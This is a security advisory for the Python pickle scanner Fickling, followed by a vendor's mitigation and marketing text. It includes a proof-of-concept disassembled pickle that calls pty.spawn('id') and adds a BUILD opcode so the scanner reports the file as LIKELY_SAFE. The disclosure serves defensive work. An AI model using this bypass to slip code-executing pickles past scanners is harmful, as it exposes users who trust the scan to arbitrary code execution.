GHSA-r7v6-mfhq-g3m2
Fickling has Code Injection vulnerability via pty.spawn()
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Fickling Assessment
Based on the test case provided in the original report below, this bypass was caused by pty missing from our block list of unsafe module imports (as previously documented in #108), rather than the unused variable heuristic. This led to unsafe pickles based on pty.spawn() being incorrectly flagged as LIKELY_SAFE, and was fixed in https://github.com/trailofbits/fickling/pull/187.
Original report
Summary
An unsafe deserialization vulnerability in Fickling allows a crafted pickle file to bypass the "unused variable" heuristic, enabling arbitrary code execution. This bypass is achieved by adding a trivial operation to the pickle file that "uses" the otherwise unused variable left on the stack after a malicious operation, tricking the detection mechanism into classifying the file as safe.
Details
Fickling relies on the heuristic of detecting unused variables in the VM's stack after execution. Opcodes like REDUCE, OBJ, and INST, which can be used for arbitrary code execution, leave a value on the stack that is often unused in malicious pickle files.
This vulnerability enables a bypass by modifying the pickle file to use this leftover variable. A simple way to achieve this is to add a BUILD opcode that, in effect, adds a __setstate__ to the unused variable. This makes Fickling consider the variable "used," thus failing to flag the malicious file.
PoC
The following is a disassembled view of a malicious pickle file that bypasses Fickling's "unused variable" detection:
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'pty'
16: \x94 MEMOIZE (as 0)
17: \x8c SHORT_BINUNICODE 'spawn'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'id'
31: \x94 MEMOIZE (as 3)
32: \x85 TUPLE1
33: \x94 MEMOIZE (as 4)
34: R REDUCE
35: \x94 MEMOIZE (as 5)
36: \x8c SHORT_BINUNICODE 'gottem'
44: \x94 MEMOIZE (as 6)
45: b BUILD
46: . STOP
Here, the additions to the original pickle file can see on lines 35, 36, 44 and 45.
When analyzing this modified file, Fickling fails to identify it as malicious and reports it as "LIKELY_SAFE" as seen here:
{
"severity": "LIKELY_SAFE",
"analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
"detailed_results": {}
}
Impact
This allows an attacker to craft a malicious pickle file that can bypass fickling since it relies on the "unused variable" heuristic to flag pickle files as unsafe. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fickling to 0.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r7v6-mfhq-g3m2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r7v6-mfhq-g3m2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r7v6-mfhq-g3m2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r7v6-mfhq-g3m2 in your dependencies?
O3 detects GHSA-r7v6-mfhq-g3m2 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.